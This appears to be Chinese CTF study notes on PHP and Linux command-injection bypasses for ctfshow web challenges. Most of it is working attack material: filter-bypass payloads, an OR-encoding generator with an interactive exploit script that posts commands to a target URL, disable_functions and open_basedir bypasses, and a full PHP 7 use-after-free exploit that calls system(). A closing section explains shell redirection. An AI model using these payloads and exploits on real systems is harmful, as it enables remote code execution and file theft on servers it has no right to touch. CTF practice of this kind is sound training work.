通配符
在linux系统中 有一些通配符
- 匹配任何字符串／文本，包括空字符串；*代表任意字符（0个或多个） ls file * ? 匹配任何一个字符（不在括号内时）?代表任意1个字符 ls file 0 [abcd] 匹配abcd中任何一个字符 [a-z] 表示范围a到z，表示范围的意思 []匹配中括号中任意一个字符 ls file 0
执行命令的函数
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
这里需要注意一下，只有system函数是有回显的，其他的函数可以通过echo等显示
例：
c=echo `cat f*`;
空格绕过
> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20 (Space)
%09 (Tab)
如果<>也被过滤，可以使用$IFS，这是在shell中定义的环境变量用于内部字段分隔符，举例：
?c=nl${IFS}fla\g.php%0a
如果过滤的很简单，通配符反引号（`）就够用了：
?c=cat`flag.php`;
cat被过滤
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示，可以看出tac是cat 的反向显示
tail:查看尾几行
nl：显示的时候，顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器，这个也可以查看
vim:一种编辑器，这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
在当前目录中，查找后缀有 file 字样的文件中包含 test 字符串的文件，并打印出该字符串的行。此时，可以使用如下命令： grep test *file strings
grep用法：grep ‘{‘ flag.php
c=echo(`tac%09fl[abc]*`); //%09为空格
括号被过滤
无需括号的函数
```php
<?php
echo 666;
print 666
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "/etc/passwd";例
c=include $_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php黑名单绕过
拼接
a=c;b=at;c=fl;d=ag;$a$b $c$d
base64编码
echo "Y2F0IGZsYWc="|base64 -decho "Y2F0IGZsYWc="|base64 -d|bash(在bash被过滤的情况下可尝试sh)
单引号、双引号
c""at fl''ag
反斜线
c\at fl\ag
正则 (假设/bin/cat: test: 是一个目录)
/???/?[a][t] ?''?''?''?''` `/???/?at ????` `/???/?[a]''[t] ?''?''?''?''
利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)
root@kali:~/桌面# echo "flag{hahaha}" > flag.txt
root@kali:~/桌面# touch "ag"
root@kali:~/桌面# touch "fl\\"
root@kali:~/桌面# touch "t \\"
root@kali:~/桌面# touch "ca\\"
root@kali:~/桌面# ls -t
'ca\' 't \' 'fl\' ag flag
root@kali:~/桌面# ls -t >a #将 ls -t 内容写入到a文件中
root@kali:~/桌面# sh a
a: 1: a: not found
flag{hahaha}
a: 6: flag.txt: not found
\是指换行ls -t将文件按时间排序输出sh命令可以从一个文件中读取命令来执行
或运算绕过
转羽师傅的博客：ctfshow web入门 web41_羽的博客-CSDN博客
这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用，同时过滤了字母和数字。但是特意留了个或运算符|
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>我们可以尝试从ascii为0-255的字符中，找到或运算能得到我们可用的字符的字符。 这里先给出两个脚本 exp.py rce_or.php，大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。 生成可用字符的集合
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
大体意思就是从进行异或的字符中排除掉被过滤的，然后在判断异或得到的字符是否为可见字符 传递参数getflag 用法 python exp.py <url>
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER：python exp.py <url>')
print("eg： python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function：") )+action(input("[+] your command："))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
disable function绕过
通过复制，重命名读取php文件内容（函数执行后，访问url/flag.txt）
函数：
copy()
rename()
用法：
copy("flag.php","flag.txt"); //过60
rename("flag.php","flag.txt"); //过60单一函数读文件内容：
函数：
file_get_contents()
readfile()
file()
用法：
echo file_get_contents("flag.php"); //过58
readfile("flag.php"); //过58
print_r(file("flag.php")); //过59通过fopen读文件内容：
函数：
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
用法：
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用
$a=fopen("flag.php","r");echo fpassthru($a); //过59
$a=fopen("flag.php","r");echo fread($a,"1000"); //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;} //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;} //过60
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);} //过60高亮显示php文件
函数
show_source()
highlight_file()
用法：
show_source("flag.php"); //过65 此后需先扫描目录
highlight_file("flag.php"); //过65flag不在flag.php中,需要先查找flag所在的位置
scandir()
opendir()
用法
c=var_dump(scandir("/"));highlight_file("/flag.txt"); //过66-67
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };highlight_file("/flag.txt"); //过66-67后面因为是txt文件，所以直接用include直接包含就能显示flag
include()
require()
用法：
include("/flag.txt"); //过66-70
require("/flag.txt"); //过66-70绕过$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
直接后面输入 exit();即可
用法
include("/flag.txt");exit(); //过71
require("/flag.txt");exit(); //过71
echo(scandir("/")[6]);include("/flagc.txt");exit(); //过73
$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("flagx.txt");exit(); //过74glob协议扫描目录下文件(当var_dump被禁用)//glob:///*是glob://协议 /*是根目录下所有文件
c=$a="glob:///*.txt";if($b=opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:",$file."\n";
}
closedir($b);
}
exit();//找根目录下.txt结尾的文件
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){echo($f->__toString().' ');}
exit(0);?> //相当于ls根目录下所有文件绕过open_basedir
//可绕72的目录限制,但无法读文件
$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("flagx.txt");exit();
//可绕72，利用uaf绕过函数限制 (传入后需url编码下)
代码来源(https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass)
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();利用mysql load_file读文件 //过75,76
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);通过FFI（7.4版本） //过77
c=$ffi = FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > xxx.txt';$ffi- >system($a);exit(); //访问xxx.txt无字母数字
无字母数字进行webshell的代码大致如此
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}base64的运用
我们就可以通过通配符进行匹配命令执行查看flag.php
payload：?c=/???/????64%20????.???
意思是 /bin/base64 flag.php
bin目录:
bin为binary的简写主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
bzip2的使用
bzip2是linux下面的压缩文件的命令
我们可以通过该命令压缩flag.php 然后进行下载
payload：?c=/???/???/????2%20????.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php
/usr/bin目录:
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。
上传文件
构造POST上传HTML
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名：</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>构造poc执行命令
?c=.%20/???/????????[@-[]
注：后面的[@-[]是linux下面的匹配符，是进行匹配的大写字母。
在上传文件内容添加sh命令
#!/bin/sh
ls
直接读flag
脚本
不知为啥我的bp回显不了，脚本可以跑得出来
import requests
while True:
url = "http://892794e2-cc99-4c50-89de-4e6a70539f17.challenge.ctf.show:8080/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
if r.text.find("flag") >0:
print(r.text)
break
无数字字母构造数字
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}提示了我们flag在36.php里，并且?被屏蔽了，不能使用无数字字母webshell
只能构造36了
如果对取反不了解可以百度一下，这里给个容易记得式子，如果对a按位取反，则得到的结果为-(a+1)，也就是对0取反得到-1
$(()) 代表做一次运算，因为里面为空，也表示值为0 $((~$(()))) 对0作取反运算，值为-1 $(($((~$(())))$((~$(()))))) -1-1，也就是(-1)+(-1)为-2，所以值为-2 $((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1，所以值为1
根据式子，我们只需要构造-37，再取反即可
$(( $((~$(()))) $((~$(()))) $((~$(()))) )) (中间37个) -37 $((~ $(($((~$(())))$((~$(()))))) )) 外面取反得36
payload
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
查看源码得flag
无参数RCE
无参数，顾名思义，就是只使用函数，且函数不能带有参数，可以是a()、a(b())或a(b(c()))，但不能是a(‘b’)或a(‘b’,’c’)，不能带参数
正常的，print_r(scandir(‘.’));可以用来查看当前目录所有文件名
但是我们这里说的是要构造无参数的函数，所以我们要做的就是去掉这个点号
- localeconv() 函数返回一包含本地数字及货币格式信息的数组。
- current() 函数返回数组中的当前元素（单元）,默认取第一个值，
- pos() 同 current() ,是current()的别名
- reset() 函数返回数组第一个单元的值，如果数组为空则返回 FALSE
打印当前目录下文件
localeconv()函数，返回数组的第一项就是小数点
我们可以通过读取该小数点代替print_r(scandir(‘.’))中的小数点 ，读取数组第一项可以的函数有current()、pos() 、reset()
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
print_r(scandir(reset(localeconv())));查看上一级目录
再介绍几个目录
- dirname() ：返回路径中的目录部分
- chdir() ：改变当前工作目录
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); //查看根目录文件读取文件
- each() 返回数组中当前的键/值对并将数组指针向前移动一步
- end() 将数组的内部指针指向最后一个单元
- next() 将数组中的内部指针向前移动一位
- prev() 将数组中的内部指针倒回一位
- array_reverse() 以相反的元素顺序返回数组
show_source(end(scandir(getcwd()))); //获取的数组是最后一个
show_source(next(array_reverse(scandir(getcwd())))); //获取数组倒数第二个
highlight_file(next(array_reverse(scandir(pos(localeconv()))))); //获取数组倒数第二个
show_source(array_rand(array_flip(scandir(getcwd())))); //随机返回一个数组RCE
/dev/null 2>&1
可以将/dev/null看作”黑洞”. 它非常等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到. 然而, /dev/null对命令行和脚本都非常的有用.
shell重定向介绍
就像我们平时写的程序一样，一段程序会处理外部的输入，然后将运算结果输出到指定的位置。在交互式的程序中，输入来自用户的键盘和鼠标，结果输出到用户的屏幕，甚至播放设备中。而对于某些后台运行的程序，输入可能来自于外部的一些文件，运算的结果通常又写到其他的文件中。而且程序在运行的过程中，会有一些关键性的信息，比如异常堆栈，外部接口调用情况等，这些都会统统写到日志文件里。
shell脚本也一样，但是我们一般在使用shell命令的时候，更多地还是通过键盘输入，然后在屏幕上查看命令的执行结果。如果某些情况下，我们需要将shell命令的执行结果存储到文件中，那么我们就需要使用输入输出的重定向功能。
文件描述符
当执行shell命令时，会默认打开3个文件，每个文件有对应的文件描述符来方便我们使用：
| 类型 | 文件描述符 | 默认情况 | 对应文件句柄位置 |
|---|---|---|---|
| 标准输入（standard input） | 0 | 从键盘获得输入 | /proc/self/fd/0 |
| 标准输出（standard output） | 1 | 输出到屏幕（即控制台） | /proc/self/fd/1 |
| 错误输出（error output） | 2 | 输出到屏幕（即控制台） | /proc/self/fd/2 |
所以我们平时在执行shell命令中，都默认是从键盘获得输入，并且将结果输出到控制台上。但是我们可以通过更改文件描述符默认的指向，从而实现输入输出的重定向。比如我们将1指向文件，那么标准的输出就会输出到文件中。
输出重定向
输出重定向的使用方式很简单，基本的一些命令如下：
| 命令 | 介绍 |
|---|---|
| command >filename | 把标准输出重定向到新文件中 |
| command 1>filename | 同上 |
| command >>filename | 把标准输出追加到文件中 |
| command 1>>filename | 同上 |
| command 2>filename | 把标准错误重定向到新文件中 |
| command 2>>filename | 把标准错误追加到新文件中 |
我们使用>或者>>对输出进行重定向。符号的左边表示文件描述符，如果没有的话表示1，也就是标准输出，符号的右边可以是一个文件，也可以是一个输出设备。当使用>时，会判断右边的文件存不存在，如果存在的话就先删除，然后创建一个新的文件，不存在的话则直接创建。但是当使用>>进行追加时，则不会删除原来已经存在的文件。
输入重定向
在理解了输出重定向之后，理解输入重定向就会容易得多。对输入重定向的基本命令如下：
| 命令 | 介绍 |
|---|---|
| command <filename | 以filename文件作为标准输入 |
| command 0<filename | 同上 |
| command <<delimiter | 从标准输入中读入，直到遇到delimiter分隔符 |
我们使用<对输入做重定向，如果符号左边没有写值，那么默认就是0。
重定向绑定
好了，在有了以上知识的基础上，我们再来看开头提到的>/dev/null 2>&1。这条命令其实分为两命令，一个是>/dev/null，另一个是2>&1。
1.>/dev/null
这条命令的作用是将标准输出1重定向到/dev/null中。 /dev/null代表linux的空设备文件，所有往这个文件里面写入的内容都会丢失，俗称“黑洞”。那么执行了>/dev/null之后，标准输出就会不再存在，没有任何地方能够找到输出的内容。
2.2>&1
这条命令用到了重定向绑定，采用&可以将两个输出绑定在一起。这条命令的作用是错误输出将和标准输出同用一个文件描述符，说人话就是错误输出将会和标准输出输出到同一个地方。
linux在执行shell命令之前，就会确定好所有的输入输出位置，并且从左到右依次执行重定向的命令，所以>/dev/null 2>&1的作用就是让标准输出重定向到/dev/null中（丢弃标准输出），然后错误输出由于重用了标准输出的描述符，所以错误输出也被定向到了/dev/null中，错误输出同样也被丢弃了。执行了这条命令之后，该条shell命令将不会输出任何信息到控制台，也不会有任何信息输出到文件中。
>/dev/null 2>&1 VS 2>&1 >/dev/null
再回到文章的开头，我说我弄反了>/dev/null和2>&1拼装的顺序，导致出了一点小问题。乍眼看这两条命令貌似是等同的，但其实大为不同。刚才提到了，linux在执行shell命令之前，就会确定好所有的输入输出位置，并且从左到右依次执行重定向的命令。那么我们同样从左到右地来分析2>&1 >/dev/null：
2>&1，将错误输出绑定到标准输出上。由于此时的标准输出是默认值，也就是输出到屏幕，所以错误输出会输出到屏幕。 >/dev/null，将标准输出1重定向到/dev/null中。
我们用一个表格来更好地说明这两条命令的区别：
| 命令 | 标准输出 | 错误输出 |
|---|---|---|
| >/dev/null 2>&1 | 丢弃 | 丢弃 |
| 2>&1 >/dev/null | 丢弃 | 屏幕 |
>/dev/null 2>&1 VS >/dev/null 2>/dev/null
为什么要用重定向绑定，而不是像>/dev/null 2>/dev/null这样子重复一遍呢。
这是因为采用这种写法，标准输出和错误输出会抢占往out文件的管道，所以可能会导致输出内容的时候出现缺失、覆盖等情况。
而且，由于out文件被打开了两次，两个文件描述符会抢占性的往文件中输出内容，所以整体IO效率不如>/dev/null 2>&1来得高。
nohup结合
我们经常使用nohup command &命令形式来启动一些后台程序，比如一些java服务：
# nohup java -jar xxxx.jar &
为了不让一些执行信息输出到前台（控制台），我们还会加上刚才提到的>/dev/null 2>&1命令来丢弃所有的输出：
# nohup java -jar xxxx.jar >/dev/null 2>&1 &
绕过回显
我们要让命令回显，那么进行命令分隔即可
;前面和后面命令都要执行，无论前面真假 //只在Liunx下|直接执行后面的语句||如果前面命令是错的那么就执行后面的语句，否则只执行前面的语句&前面和后面命令都要执行，无论前面真假&&如果前面为假，后面的命令也不执行，如果前面为真则执行两条命令